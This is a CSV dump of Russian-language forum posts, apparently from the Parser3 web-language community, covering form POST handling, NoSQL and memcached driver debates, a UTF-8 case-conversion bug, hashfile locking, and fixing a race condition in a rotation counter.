"76251","У меня на страничке есть форма в которой выбираются/вводятся параметры SQL запроса - даты и контрагент. По кнопке Submit желателен редирект на другую страницу, где отобразятся результаты поиска. Обычно я передавал переменные в URL-е а потом забирал их как $form:variable, но тут столкнулся с тем, что нужно передать содержимое с русским текстом (название контрагента) и id его передать не представляется возможным. Как это реализовать, подскажите."
"76252","А вообще используйте POST. Хотя бы урл не будет замусорен."
"76253","А как использовать POST? Можно пример кода?"
"76255","Говорю же - нуб."
"76256","<form ... method=\"post\">"
"76257","Есть необходимость строить выборки из таблицы по разному количеству столбцов.\
Пробую так:\
[code]$sTemp[^^tData2.select(^tColumns.menu{^$tData2.$tColumns.column eq \"$tData1.[$tColumns.column]\"}[ && ])]\
$tTemp[^process{$sTemp}][/code]\
но в итоге получаю ошибку:\
[code]select\
\
undefined method\
\
-body of process-(1:9)[/code]\
\
Все указанные переменные существуют. В чем тогда проблема?"
"76258","$tData2 -- объявлена локальной?\
если да, то код внутри process её не видит, т.к. он выполняется не в контексте метода, а в контексте класса."
"76259","Убрал объявление локальной переменной - все заработало.\
Спасибо."
"76260","Может у кого уже есть готовые наработки по формированию input, select, textarea ?"
"76261","что Парсерописатели думают про это http://tokarchuk.ru/2010/10/nosql-in-mysql-improve-mysql/ и есть ли надежда что появится драйвер для парсера?"
"76264","Добрый день! На главной странице http://www.artlebedev.ru/ с некоторой периодичностью в title появляется не очень приличные слова, которые врядли бы написали разработчики. Например, сегодня. \
Это связано с уязвимостью parser? Как от подобного можно защититься?"
"76265","если вы про \"долго, дорого, охуенно\" то это девиз :)"
"76267","понятно. такой вирус уже не лечится ..."
"76268","некоторые думают \"круто\" :)\
\
о каком драйвере идёт речь? о sql? а вы статью точно прочитали и поняли, что там речь идёт НЕ об SQL синтаксисе, а о чем-то типа синтаксиса по работе с hash/hashfile?"
"76270",">некоторые думают \"круто\" :)\
\
если работать на просто отдачу инфы в больших размерах - то почему бы и нет?\
\
>о каком драйвере идёт речь? о sql? \
ну назовем драйвер (как и положено в этом случае) nosql :)\
\
>а вы статью точно прочитали и поняли, \
>что там речь идёт НЕ об SQL синтаксисе,\
>а о чем-то типа синтаксиса по работе с hash/hashfile?\
конечно прочитали, и даже поняли :)\
и даже поняли что при использовании данного nosql подхода никакого секьюрити у данных нету\
\
расширю формулировку вопроса: есть ли в планах (либо шанс что будут планы) парсерописателей написать прокладку в виде noSQL драйвер для MySQL которую можно будет подключать наравне с SQL драйвер для MySQL ? :)"
"76271","[quote]есть ли в планах (либо шанс что будут планы) парсерописателей написать прокладку в виде noSQL драйвер для MySQL [b]которую можно будет подключать наравне[/b] с SQL драйвер для MySQL ?[/quote]\
\
таких планов конечно же нет, т.к. это не представляется возможным сделать.\
\
планы по реализации каких-либо хранилищ ключ-значение (memcached) или nosql есть. но никаких сроков по ним нет :)"
"76272","а если сделать конструкцию типа:\
\
для mySQL\
^connect[$connect_string]{$code} \
использование как обычно\
\
и рядом что-то вроде\
^nosql[$connect_string]{$nosqlcode}\
$connect_string[ $.server[localhost] $.inport[9999] $.outport[9998]]\
\
причем в $nosqlcode использовать инструкции noSQL:\
$tResult[^table::nosql{$TableName $IndexName $Action $Data1 $Data2}]"
"76273","Пытался поставить парсер на субдомен, пытался поставить новую версию.\
\
Ранее у меня стоял\
Parser/3.2.3 (compiled on i686-pc-linux-gnu)\
\
Скачиваю, копирую файл парсера, проставляю свойства. Постоянно ошибка 500. Что делать?\
\
Опытка скопировать файл старой версии показывает, что всё работает."
"76275","Логов парсера нет. ЛОги сервера, если я правильно смотрю, тоже молчат. Если удалить 500.shtml то в логе пишет что страница не найдена.\
\
Просто голову словмал."
"76276","который бы запускался парсером через exec и выдавал данные в виде таблицы, разделенную табами."
"76277","Оказалось, что версия с XML не работает, а обычная работает. Хотя бы так."
"76278","хм... а и то верно :)\
спасибо!"
"76279","[quote]планы по реализации каких-либо хранилищ ключ-значение (memcached) или nosql есть. но никаких сроков по ним нет :)[/quote]\
\
а можете честно описать, что конкретно сейчас препятствует решению этой задачи?\
нет людей?\
нет средств?\
нет желания?\
или что-то еще?"
"76280","Точнее это единственнй способ взаимодействия сейчас. Поэтому понятие \"проще\" довольно условное и наверное исключительно про то, что под парсер все это появится не скоро.\
\
Поэтому готовьтесь на явные минусы exec-подхода: не быстро и не удобно."
"76281","Тогда что мешает реализовать самостоятельно и открыть код для сообщества?"
"76282","для наших задач этого пока не требовалось, а реализовывать \"ради искусства\" -- глупо, да и получится как неоттестированный и малоиспользуемый кусок.\
\
кроме того, все nosql сильно разные и пока совсем непонятно, как для них реализовывать единый интерфейс (что в духе парсера).\
появится какой-нить стандарт -- можно будет думать на этот счёт глобально.\
\
а пока видится лишь возможность реализовать что-то типа работы memcached по аналогии с hashfile. увы, в плане memcached я не осилил сборку libmemcached под VS2003 (под VS2008 собирается, но тогда не собирается модуль apache 1)."
"76283","День добрый.\
\
Программист, который разработал нам сайт на парсере пропал.\
И сайт остался совсем один =(\
После переезда на новый сервер, он перестал работать.\
Как я понимаю тут люди понимают в этом языке =)\
Поэтому прошу помощи (конечно за мат. вознаграждение)"
"76284","[quote]У вас есть реальные задачи для nosql?[/quote]\
\
ежели бы не было - то и вопрос не возник бы"
"76285","[quote]а пока видится лишь возможность реализовать что-то типа работы memcached по аналогии с hashfile. увы, в плане memcached я не осилил сборку libmemcached под VS2003 (под VS2008 собирается, но тогда не собирается модуль apache 1).[/quote]\
\
намекаю :\
http://yoshinorimatsunobu.blogspot.com/search/label/handlersocket\
:)"
"76286","Я думаю, что практически любой поюсовик за небольшую плату сделает класс для Парсера с поддержкой HandlerSocket'а. Уверен, что за деньги и Миша согласится. :)\
\
p.s. Если потом поделитесь с сообществом, то с удовольствием скажем спасибо."
"76287","Тогда давайте достанем из redmine весь список накопившихся хотелок, которые \"реально\" реализовать в \"духе парсера\" и не только, а спецы озвучат свою цену.\
Уверен, в нашем сообществе найдутся люди, которые могут скинуться на это дело.\
\
А то все эти разговоры \"зачем оно надо\" или \"не в духе парсера\" порядком поднадоели.\
В своё время языку заложили хорошую перспективу, а потом на многие полезные и новые технологические веяния стали палки в колёса ставить.\
\
Понятно, что в парсере есть лишь то, что когда-либо было нужно студийцам... но как-то этот подход без будущего.\
Хоть на PHP переходи. А зачем? Ведь многих здесь парсер устраивает, но порой сильно не хватает его \"ритуально-ограниченных\" возможностей."
"76289","[quote]\
>$env:\
...\
PARSER_VARSION=\"3.4.1 (compiled on amd64-unknown-freebsd8.0)\"\
...\
[/quote]\
PARSER_V[b]A[/b]RSION\
\
[quote]\
Top 10 писателей\
Misha v.3 6666 (9.40 %)\
[/quote] замечательная цыфырь :)"
"76290","Если возникает потребность в некоторой фиче, то мы ищем разработчика (или пишем сами), прикручиваем, тестируем и предлагаем для включения в язык. Если фичу не приняли, то выкладываем ее для желающих с инструкцией по сборке на какой-нибудь гитхаб или гуглкод. Русский подход «собрать бабла и заслать в оркестр» может и сработает разок, но никакого эффекта в долгосрочной перспективе это не даст.\
\
[quote]А то все эти разговоры \"зачем оно надо\" или \"не в духе парсера\" порядком поднадоели.[/quote]\
\
Парсер — не язык общего назначения и имеет свою вполне стройную концепцию («дух»). В результате мы имеем сбалансированный набор средств для разработки достаточно сложных веб-систем, включая высокопроизводительный шаблонизатор на плюсах, универсальный доступ к sql-базам, встроенный веб-фреймворк, хорошая поддержка utf-8 и т.п. Разработчики всеми силами пытаются сохранить этот баланс и добавляют в язык действительно нужные и максимально-универсальные возможности. Ничего плохого в этом нет.\
\
Насколько я понимаю, основная проблема с которой сталкиваются разработчики — вызов внешних систем, особенно, если это связано с работой по бинарным протоколам или через сокеты. Тут либо надо писать класс на си++, либо вызывать внешний скрипт на каком-нибудь Питоне, что далеко не всегда удобно. Вряд ли тут получится что-то серьезно изменить. :)\
\
Тем не менее ситуация постепенно меняется. Во многих системах появились API основанные стандартных rest-протоколах (http-json/xml), которые не сложно использовать прямо из Парсера и таких систем становится все больше. Если кто-то хочет попробовать NoSQL-базу, то для CouchDB есть REST-API — http://wiki.apache.org/couchdb/Complete_HTTP_API_Reference. Известный поисковый движок sphinxsearch поддерживает mysql-протокол. Многие key-value хранилища поддерживают memcached-протокол — если Мише кто-нибудь готов помочь со сборкой библиотеки под виндой, то класс в Парсере появится достаточно быстро. \
\
Перспективы, на мой взгляд, очень неплохие. А будет еще лучше, если разработчики на Парсере будут более активно делиться своими библиотеками и api-классами. Вполне вероятно, что многие «хотелки» уже кто-то реализовал, но почему-то стесняется поделиться с народом."
"76291","К сожалению, с парсерсом опенсорс вообще никак не работает.\
За всё время можно по пальцам пересчитать людей, приславших какие-либо патчи, а уж тем более нововведения.\
\
Что касается программного кода на самом парсере, то тут тоже не стоит ждать подвижек. Многие клюют на парсер из-за его якобы простоты и лёгкости вхождения. Пытаются и делают на нём \"простые сайты\".\
Те же, кому нужно написать что-то \"крутое\" -- каждый по-своему изобретают велосипеды, учитывая все тонкости языка.\
Вряд ли кто-то будет делиться этими велосипедами, т.к. скорее всего они заточены под конкретную задачу. Т.е. не стоит ждать от разработчиков из комьюнити парсера хорошего фреймворка. Студию в расчёт не берём, у них есть продукт (а-ля CMS, а-ля фреймворк) со всем известным названием.\
Могу ошибаться, но я ни разу не видел на форуме сообщений: \"Посмотрите, какой крутой проект, и да, он на парсере! Готов ответить на любые вопросы и выслушать советы\". Что уж говорить про какие-то универсальные библиотеки...\
\
К сожалению, не все хотелки можно решить с помощью rest-протоколов. А внешние вызовы -- зло, если речь идёт о быстродействии. Поэтому, остаются лишь честные c++ классы, т.е. допиливание функционала парсера. Но и тут, во многих нужных решениях, мы можем упереться в \"максимально-универсальные возможности\". Винда ли не будет поддерживать или ещё что..."
"76292","Не в тему:\
\
[i]Могу ошибаться, но я ни разу не видел на форуме сообщений: \"Посмотрите, какой крутой проект, и да, он на парсере! Готов ответить на любые вопросы и выслушать советы\". Что уж говорить про какие-то универсальные библиотеки...[/i]\
\
Есть почти готовая CMS с более-менее универсальной библиотекой и [i]приемлемым[/i] функционалом. Без pf в ядре.\
К середине весны допилю-выложу."
"76293","[quote]Вряд ли кто-то будет делиться этими велосипедами, т.к. скорее всего они заточены под конкретную задачу.[/quote]\
\
Мой опыт показывает, что из любого проекта всегда можно выпилить классы, которые будут полезны сами по себе. Тот же pf на 90% состоит из кода, написанного для вполне конкретных проектов. Т.е. разговоры про «конкретные задачи» это не больше, чем отговорки. Пока разработчики будут стесняться своего кода мы никуда не сдвинемся."
"76294","... нужны далеко не всем. Я предпочту, если появятся полезные сторонние разработки без поддержки винды и буду вручную собирать Парсер. Но пока подвижек не видно. :( \
\
А вот разработчики ядра не могут себе позволить забить на какую-то из платформ, поэтому добавление любой фичи становится достаточно сложной задачей.\
\
p.s. Что касается проталкивания фич в Парсер, то, по собственному опыту, могу сказать, что это вполне реально. Только надо быть готовым к тому, что придется доказать необходимость и полезность того или иного нововведения. :)"
"76295","Спору нет, из проектов можно выцепить и допилить/универсализировать. Только где эти проекты?\
pf, скорее всего, является почти полным покрытием для всех твоих проектов. Ядром, понятное дело. Иначе бы он не писался и не вылизывался:-)\
Но, опять же, много ли таких способных людей с хорошими проектами, под которые имеет смысл писать такую основу?\
Подавляющее большинство хотят готовенькое, и это даже правильно.\
Но, увы, приходятся велосипедить."
"76296","А вот здесь как раз \"универсальность\" выглядит отговоркой.\
Некоторые хотелки (тот же memchached) можно реализовать как standalone-класс и собирать по требованию/желанию (как это сейчас происходит с curl, например). Но отказываться полностью из-за несовместимости в определённых условиях -- точно не дорога в будущее."
"76297","Замечательно!\
Люди посмотрят, оценят и т.д.\
Такие попытки на форуме уже были, но как-то всё заглохло...\
Но это не призыв отказаться от затеи:-)"
"76298","Ура. Все починил специалист. Извините за беспокойство."
"76299","Уверен, что у птицеводов есть куча классов для всяких API (Яндекс, Гугл, Твитер), sms-шлюзов и прочих сервисов. Неужели лень поделиться?"
"76300","Ничто. Но ведь не открывают. О том и речь."
"76301","[quote]Могу ошибаться, но я ни разу не видел на форуме сообщений: \"Посмотрите, какой крутой проект, и да, он на парсере! Готов ответить на любые вопросы и выслушать советы\". Что уж говорить про какие-то универсальные библиотеки...\
[/quote]\
\
Делаю в год минимум 25 промо-проектов, это крупные мировые и российские бренды, а акции как правило идут по всей россии и у меня нет желания кричать на каждом углу: что, где и как.\
Я не только давно перерос период \"писькимерок\", но и осознаю, что используемые технологии являются частью коммерческих секретов, тем более, что большая часть акций взаимосвязаны с платежными системами, а вопросы безопасности стоят превыше всего.\
\
Вы можете рассуждать о парсере что угодно, ваше троллинг на эту тему лично мне не интересен. Здесь обсуждается конкретный вопрос, так дайте нам ответ по делу."
"76302","Лично мне мешает отсутствие времени. Я и так работаю по 12 часов в сутки 7 дней в неделю.\
У меня было немного времени на создание поддержки P3 под Coda (mac), но к моему стыду все не доходят руки завершить обновленную версию с автокомплитом... хотя на ней уже год сижу.\
\
Увы, лично я не разбираюсь в стоимости, у меня нет бюджетов на подобные задачи, но морально готов финансировать реализацию этого вопроса. \
Соответственно вопрос ко всем, кто мог бы взяться: сколько будет стоить? И что бы результат был доступен всем.\
\
И может стоит сделать на сайте \"donation\"?"
"76303","REST это конечно хорошо, и под MongoDB есть полудохленький от Кристины Как-её-там-фамилия-сорри-забыл :-), но когда счет идет на миллисекунды, то необходимы более быстрые решения.\
Да и не такой он (REST) уж и удобный (лично по мне).\
Поэтому лично я за нативную поддержку парсером."
"76304","Я аж поперхнулся.\
\
[quote]Вы можете рассуждать о парсере что угодно, ваше троллинг на эту тему лично мне не интересен.[/quote]\
Зачем же тогда отвечаете на моё сообщение? Оно и видно, что совсем не интересно, раз не смогли прочитать его нормально и понять смысл. Мы тут несколько другое обсуждаем, нежели \"писькимерки\". Детский сад какой-то.\
\
И ваши доводы про закрытость коммерческого кода и какую-то безопасность лишь подтверждают мою мысль в диалоге с Sumo об \"опенсорсе и неблагодарных\". Только не пытайтесь и здесь найти обидные для себя слова:-)\
\
[quote]Здесь обсуждается конкретный вопрос, так дайте нам ответ по делу.[/quote]\
Какой конкретный вопрос? Про HandlerSocket? Ответ прост -- ждите, когда-нибудь реализуют в рамках реалий. Со стороны разработчиков парсера подобные задачи есть в планах, а сроков нет, о чём Миша уже написал.\
Можете купить сишника на стороне -- вот ещё один вариант ответа."
"76305","Отвечу за себя: к сожалению мне нечего предлагать людям в виде опенсорса. Не потому, что \"жадный-не жадный\", а потому что решения мягко говоря далеки до какой-либо универсальности. 99% решений сделаны под конкретные задачи, а совсем банальные вещи никому не нужны. Взять тот же OSMP с их API для терминалов: оно там на 200 страниц описаний. А в жизни универсального лишь малая часть и все остальное уже механика конкретной задачи(проекта).\
Купить сишника для меня не решение, потому как мне не нужен программист, мне нужны решения. И будет здороово, если они будут доступны всем.\
Поэтому лично я готов участвовать в финансировании."
"76306","Вот это нормальный ответ и по делу.\
Фактически, повторили мои мысли и слова из других сообщений в этом треде.\
Зачастую, именно такое положение дел как у вас и есть, а остальная, совсем малая часть людей, готова и может заниматься \"опенсорсом\".\
И, заметьте, никакого троллинга, а тем более моего любимого серверного веб-языка:-)"
"76307","предлагаете реализовать поддержку HandlerSocket вместо memcached из-за того, что он быстрее?\
\
если да, то вот контр-аргументы навскидку:\
- memcached существенно более популярен\
- протокол memcached может быть использован не только для работы с memcached\
- и напоследок цитата из доки HandlerSocket: \"The current version of HandlerSocket only works with GNU/Linux\""
"76308","[quote]Купить сишника для меня не решение, потому как мне не нужен программист, мне нужны решения.[/quote]\
\
э-э-э. программные решения создают программисты, разве нет?\
\"купить программиста\" также означает \"поставить задачу по реализации необходимого вам фрилансеру, пишущему на C++\""
"76309","[quote]Взять тот же OSMP с их API для терминалов: оно там на 200 страниц описаний. А в жизни универсального лишь малая часть и все остальное уже механика конкретной задачи(проекта).\
...совсем банальные вещи никому не нужны\
[/quote]\
Совершенно необязательно делать и выкладывать классы, которые реализуют полную спецификацию API. Даже если вы используете часть функций в своем проекте, вполне вероятно, что именно эти функции и понадобятся другим разработчикам. Лучше иметь основу к которой можно дописать нужный функционал, чем писать с нуля.\
\
Примеры из собственного опыта:\
— Интегрировал в свой платежный шлюз Киви.Кошелек, получился отдельный класс для работы с API — [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/api/qiwi/wallet/pfQiwiWallet.p]pf/api/qiwi/wallet/pfQiwiWallet[/url]. \
— Подключали СМС-шлюз, получилась пара классов для разных операторов — [url=http://code.google.com/p/parser3-pf/source/browse/#svn%2Ftrunk%2Fpf%2Fapi%2Fmobile%2Fsms]pf/api/mobile/sms/[/url]. Причем для «Загрузки» есть только одна функция — отправка сообщения, а остальные варианты API пока не нужны (наверняка многим этого будет достаточно), но уже есть основа для расширения.\
— Эксперименты с pdd.yandex.ru привели к появлению [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/api/yandex/mail/pfYandexMail.p]простого класса[/url] с пятью самыми нужными функциями из API. Дописать остальные просто и быстро.\
— Очень специфичная задача: интеграция билинговой системы с Редмайном. REST-API было нерабочим, пришлоcь делать через базу данных. В результате появился класс [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/api/redmine/pfRedmine.p]pf/api/redmine/pfRedmine[/url]. Возможно, кому-нибудь пригодится и не прийдется разбираться со структурой БД и алгоритмом хеширования паролей.\
— Для работы с zip-файлами пришлось сделать отдельный класс, который реализует функции list, test, load, pack — сделал класс [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/api/archives/pfZipArchiver.p]pf/api/archives/pfZipArchiver[/url]. Да, нет функции полной распаковки архива, поскольку она мне была ненужна, но доделать ее тривиально, поскольку в классе уже решена куча проблем с путями, кодировками и пр.\
\
Разве я раскрыл этими классами какие-то коммерческие тайны? Неужели в ваших проектах нет подобных классов? Наверняка многие используют в работе системы контроля версий (SVN, Git, Mercurial и т.п.), бесплатных хостингов для репозиториев навалом т.е. нет никаких сложнойстей с выкладыванием кода. Так что же останавливает?"
"76310","С аргументами пока спорить не буду, НО:\
\
- это японцы -> скорость развития будет несколько быстрее\
\
[i]- memcached существенно более популярен[/i]\
это - пока.(если у DeNA все получится)\
\
[i]- протокол memcached может быть использован не только для работы с memcached[/i]\
тут спорить бесполезно\
\
[i]- и напоследок цитата из доки HandlerSocket: \"The current version of HandlerSocket only works with GNU/Linux\"[/i]\
первые мемкешед тоже были не под win32 :)"
"76311","HandlerSocket, мягко говоря, не самое популярное nosql-решение, тем более, что оно даже не в продакшн-состоянии. Поддержка только одной ОС и сомнительная перспектива появиться на более-мене массовых хостингах еще сильнее снижает ее ценность.\
\
Если уж и говорить про что-то реальное, то про MongoDB и Redis — продукты известные, с сильной поддержкой и понятными перспективами. Но все равно понядобятся разработчики которым это нужно и которые готовы написать класс для Парсера на Си++."
"76312","[quote]сомнительная перспектива появиться на более-мене массовых хостингах[/quote]\
тут полностью согласен, ибо нет никакого sequrity\
но под мои задачи на моём сервере (где больше никого нет и не будет :) - самое то\
\
как выход на текущий момент - использование внешнего скрипта (спасибо догаде max_rip)"
"76313","Ты большой молодец и большое человеческое спасибо за pf. Писал один saas на ядре pf, получил большое удовольствие от работы с templet. К сожалению, проект пришлось закрыть после появления бета-версии :-(\
\
Я аутсорсер, у меня нет зарплаты и нет места работы. Все мои проекты живут в среднем 3-4 месяца, максимум полгода. Поэтом использовать git просто не к месту и не к задачам. И не потому, что я того хочу или не хочу, а потому, что львиная доля работы делается в последние 3 дня. Зато 1-2 месяца все мусолят ТЗ и катаются по мозгам дизайнеров. Увы, такова специфика промо. И посему работаю 7х24. Мне очень сильно нужен помошник, но найти ответственного человека, который способен много работать и любит то, что делает, очень тяжело.\
\
Поэтому для себя я опеределил: раз фактически не получается быть полезным в виде библиотек кода и допиливания парсера, то хотя бы содействовать в финансовом плане. Лично мне было бы интересно увидеть нативную поддержку memcached и mongodb."
"76314","[quote]- это японцы -> скорость развития будет несколько быстрее[/quote]\
\
https://github.com/ahiguti/HandlerSocket-Plugin-for-MySQL/blob/master/misc/microbench-my.log\
\
=>\
\
\"ahiguti 2 years ago\"\
японцы, не японцы... люди похоже: они сделали то, что _им_ требовалось. остальное предлагают доделать заинтересованным.\
и это правильный подход."
"76315","Подход Парсера:)"
"76317","Столкнулся с неожиданной для себя проблемой. Когда стал обрабатывать имена, содержащие символы &#252;&#245;&#228;&#246;b и еще z и s c гачеком.\
\
Такой код стабильно выдает ошибку.\
[code]$str[&#220;lrich] \
$str[^str.left(1)]\
^str.upper[][/code]\
\
Код ошибки 'upper' change_case_UTF8 error: end pointers do not match [<no type>]\
\
Я установил парсер на тестовый субдомен и проверил там. Всё работает. На что обратить внимание? Может как всегда всеобщий разум поможет.\
\
В ауто стоит\
\
[code]$request:charset[utf-8]\
$response:charset[utf-8]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
][/code]\
\
В самой странице стоит \
<meta http-equiv=\"Content-Type\" content=\"text/html^; charset=utf-8\" />\
\
Есть идеи?"
"76318","Ммм. А версия парсера какая?\
\
По идее, этот код:\
[code]$str[&#220;lrich] \
$str[^str.left(1)]\
^str.upper[][/code]\
Вообще не должен работать, т.к. не экранирована ;.\
А если её экранировать, то ^str.left(1) выдаст просто & (первый символ).\
\
Может эти данные приходят откуда-то, а не явно прописаны в парсерном коде?"
"76319","Этот код... это у меня не код а буква U с точками. Когда писал на форум, то буква превратилась в код. Так что не в этом дело. Имя Ульрих на эстонском, например."
"76320","Понятно.\
Но про версию парсера так и не ответили.\
\
У меня приведённый код с utf-8 работает без проблем (с честными символами)."
"76321","если при upper/lower строки в ней присутствует буква, у символов нижнего и верхнего регистров которой разная длина в байтах, то имеет место быть такая проблема.\
\
примеры проблемных символов:\
0x0131 -> 0x0069\
0x0049 -> 0x0130\
\
собственно единственный известный мне в настоящее время workaround -- использовать SQL для подобных операций."
"76323","если про 6666 сообщений, то уже:\
\
Top 10 писателей\
Misha v.3	6671	(9.40 %)\
\
если про\
PARSER_VERSION , то там таки в имени переменной должно быть VERSION а не VARSION (я подозреваю опечатку, хотя это может быть и фичей)"
"76324","[quote]если про PARSER_VERSION , то там таки в имени переменной должно быть VERSION а не VARSION (я подозреваю опечатку, хотя это может быть и фичей)[/quote]\
\
там -- это где?\
вывел $env:PARSER_VERSION -- всё показалось.\
что не так?"
"76325","Если поискать поиском PARSER_VARSION по исходникам парсера - находится.\
ECSTR(PARSER_VARSION, PARSER_VERSION) - непонятно, как проглядели. :)"
"76326","драйвер глючный :)\
исправил.\
\
P.S. кстати о фичах, которые добавили в язык, но те, кто добавлял -- не используют их."
"76327","Причем, как выяснилось, работают только побитовые upper() и lower()"
"76328","а можно к версии парсера добавлять номер коммита (или что у Вас там используется)?\
или завести переменную PARSER_COMMIT\
\
зачем:\
иногда, когда ловишь глюк в чужом проекте на чужом хостинге - не всегда уверен что собранный парсер уже БЕЗ известных глюков той версии."
"76329","Добрый день!\
Прошу помощи. Есть табличка:\
<code>\
ban_id	data\
1	Маша\
2	Петя\
3	Ваня\
4	Дима\
7	Люба\
</code>\
\
Есть желание показать одну строку, запомнить значение указателя, при следующей загрузке показать следующую строку, и так по кругу. Для простоты все храним в файлах, с SQL картина та же. Код:\
\
<code>\
#загружаем указатель\
$tab1[^table::load[tabb.txt]]\
Pointer is $tab1.pointer\
\
#loading data table\
$datatab[^table::load[tabbb.txt]]\
\
#finding current string in the table\
^if(^datatab.locate[ban_id;${tab1.pointer}]){\
<br>id $tab1.pointer ($datatab.data) was found in string number ^datatab.offset[].\
\
^datatab.offset(1)\
<br>Next string in datatab is \"$datatab.ban_id   $datatab.data \" \
\
$tab2[^table::create{pointer\
$datatab.ban_id\
}]\
\
^tab2.save[tabb.txt]\
\
<br>In file went $datatab.ban_id\
}{\
Not found\
}\
</code>\
\
На экран выводит верные значения, в файл записывает, как будто еще один offset(1) применили. Что ж за ерунда?"
"76330","При работе с хеш-файлом возникает следующая ошибка:\
pa_sdbm_open(exclusive) error: Unknown error 4294967295 (-1)\
\
Возникает при попытке записать значение (2-я строчка в примере кода) в хешфайле. Код:\
[code]$hf[^hashfile::open[my_hash_file]]\
$hf.start[12345][/code]\
\
Как я понимаю проблема в том, что хеш-файл уже кем-то используется, но по идее отчего тогда ошибка? Разве остальные запросы не должны ждать пока хеш-файл разблокируется?"
"76331","Повторил ваш код. Все работает как вы и планировали.\
Соотв. ошибка где-то уровнем выше."
"76332","Если строк в таблице нечетное количество - все работает, с четными разыаливается. Проблема воспроизводится на локальной машине с денвером и на удаленном хостинге."
"76334","[quote]Разве остальные запросы не должны ждать пока хеш-файл разблокируется?[/quote]\
\
Они ждут и пытаются делать запись (запамятовал сколько раз, Миша подскажет), но недолго.\
Выход — ловить ошибку и делать запись в несколько попыток.\
На какой попытке запишется успешно — зависит, само собой, от длительности блокировки."
"76335","Хммм... странно.\
Значит все таки хеш-файл может быть параллельно открыть нескольким процессами?!?! И они долбяться в попытки сделать запись, пока им \"не надоест\"??!?\
Да, пробовал ловить, но после вашего комментария понимаю, что надо делать рекурсию.\
Ок, спасибо за наводку, буду эксперементировать."
"76336","да, какой-то процесс очень надолго блокирует hashfile для записи и параллельные процессы отваливаются таким образом по таймауту (если я правильно помню, то сейчас при записи делается 20 попыток поставить exclusive lock с интервалами 0.5 сек, т.е. всего время ожидания составляет 10 сек и не настраивается).\
\
блокировки сами снимаются по завершении работы cgi, но если процесс может работать долго, то их можно снимать ручками используя ^hf.release[]\
\
версия parser? (в сильно старых версиях там ещё и ошибки с блокировками были)"
"76337","я не вижу в вашем коде ошибок, т.е. мне кажется, что всё должно работать.\
\
однако есть несколько моментов, на которые вам стоит обратить внимание:\
\
1. ^if(^datatab.locate[ban_id;${tab1.pointer}]) -- тут фигурные скобки ну совершенно необязательны.\
\
2. я бы хранил id не в tab-delimited таблице, а просто в текстовом файле ([URL=http://www.parser.ru/examples/counter/]пример[/URL]). код стал-бы проще, imho.\
\
3. для оформления кода у нас тут используется [code], а не <code> :)"
"76339","вязать скрипты сборки с VCS мы вряд-ли станем.\
\
собираете сами? подправьте в configure номер версии (добавьте timestamp сборки) и в путь :)"
"76340","Под Linux правда почему-то ничего не выводит, но под FreeBSD показывает относительно осмысленную информацию, и мы наверное подправим код, чтобы вывод был еще более осмысленный. :)"
"76341","C оформлением понял :-)\
\
Но вот заставить работать этот код с четным количеством строк в таблице никак не удается. Пробовал версии 3.4.0 и 3.4.1. Такое ощущение, что последовательное использование locate и offset приводит к разрушительному результату на выводе в файл либо SQL.\
\
Что делать, куда копать?"
"76342","сделал copy/paste вашего кода и данных -- работает.\
удалил одну запись из данных (стало 4 строки) -- работает.\
\
я не верю, что последовательное использование locate и offset может как-то ломаться.\
добавьте в этот код вывод чего-либо (timestamp) в log."
"76343","Я, конечно, понимаю, что ситуация патовая, но.\
Вот результат работы этого кода: http://megav.ru\
Вот, что уходит в файл указателя: http://megav.ru/tabb.txt\
\
Упорно на экран выводим корректное значение, во внешний мир (файл, SQL) уходит другое значение.\
\
Крутимся на мастерхосте, версия парсера 3.4.1. Могу дать полный доступ, но уж очень хочется понять, в чем проблема и как ее решить."
"76344","Вроде бы все на стороне сервера обрабатывается? Попробуйте сами."
"76345","Ваш код не учитывает тот факт, что к странице могут одновременно обратиться несколько пользователей. Т.е. между чтением и записью файла может произойти еще несколько операций чтения и/или записи, поэтому значение счетчика предугадать попросту невозможно. Налицо классическая [url=http://ru.wikipedia.org/wiki/%D1%EE%F1%F2%EE%FF%ED%E8%E5_%E3%EE%ED%EA%E8]race condition[/url].\
\
Исправить ситуацию можно двумя способами: \
— Ставить блокировку через file:lock[tabb.lock]{чтение и запись tabb.txt}. Т.е. установить пессиместическую блокировку.\
— Писать счетчик не в файл, а в куки пользователю. Тогда для каждого пользователя будет свой счетчик и проблема с «гонкой» будет не критична.\
\
p.s. Tcnm еще вероятность, что браузер по какой-то причине дважды запрашивает страницу (может какой-то редирект в заголовках стоит или заголовок неверный)."
"76347","Такая же ситуация повторяется, если писать не в файл, а в БД. Счетчик нужен общий, а не каждому свой.\
А вот насчет некорректных заголовков - хром как хром, ничего особенного."
"76348","[quote]\
Вот результат работы этого кода: http://megav.ru\
Вот, что уходит в файл указателя: http://megav.ru/tabb.txt\
[/quote]\
\
у меня по первому url и второму показываются одинаковые значения, т.е. всё ОК (Opera).\
\
[quote]криво - под Chrome[/quote]\
смешно :)\
я вам предлагал добавить запись в лог и посмотреть. сделали?\
ещё вариант -- выдать анти-кэширующие заголовки (а для проверки каждый новый запрос делайте с ?random). очень вероятно, что в вашем случае хром показывает что-то скэшированное.\
и, до кучи, у мастерхоста нету никакого \"прозрачного\" кэша, который может мешать?"
"76349","Заодно гляньте в логи веб-сервера есть ли там запросы.\
\
Тем не менее проблему с одновременными запросами вы все равно не решите без блокировок. В MySQL'е можно сделать хитрый счетчик:\
\
[code]\
Создаем табличку:\
mysql> CREATE TABLE sequence (id INT NOT NULL);\
mysql> INSERT INTO sequence VALUES (0);\
\
Увеличиваем счетчик и достаем текущее смещение\
(иногда обнуляем счетчик, чтобы не возиться \
с обработкой цикличности целых в MySQL):\
\
^void:sql{UPDATE sequence SET id=LAST_INSERT_ID(if(id > 100000, 0, id) +1)}\
^tab.offset[set](^int:sql{SELECT LAST_INSERT_ID()} - 1)\
[/code]\
\
Т.е. мы совмещаем чтение и запись счетчика, при этом блокировку записи сделает СУДБ."
"76350","Теперь природа ошибки окончально ясна, действительно есть параллельные процессы. Ручное снятие блокировки не использовал, потому что было важно завершение работы текущего процесса.\
Версия парсера последняя.\
\
Спасибо!"
"76351","Можно еще использовать FOR UPDATE в SELECT:\
\
[quote]\
SELECT id FROM sequence FOR UPDATE\
...\
UPDATE sequence SET id= if(id > 100000, 1, id + 1)\
[/quote]\
\
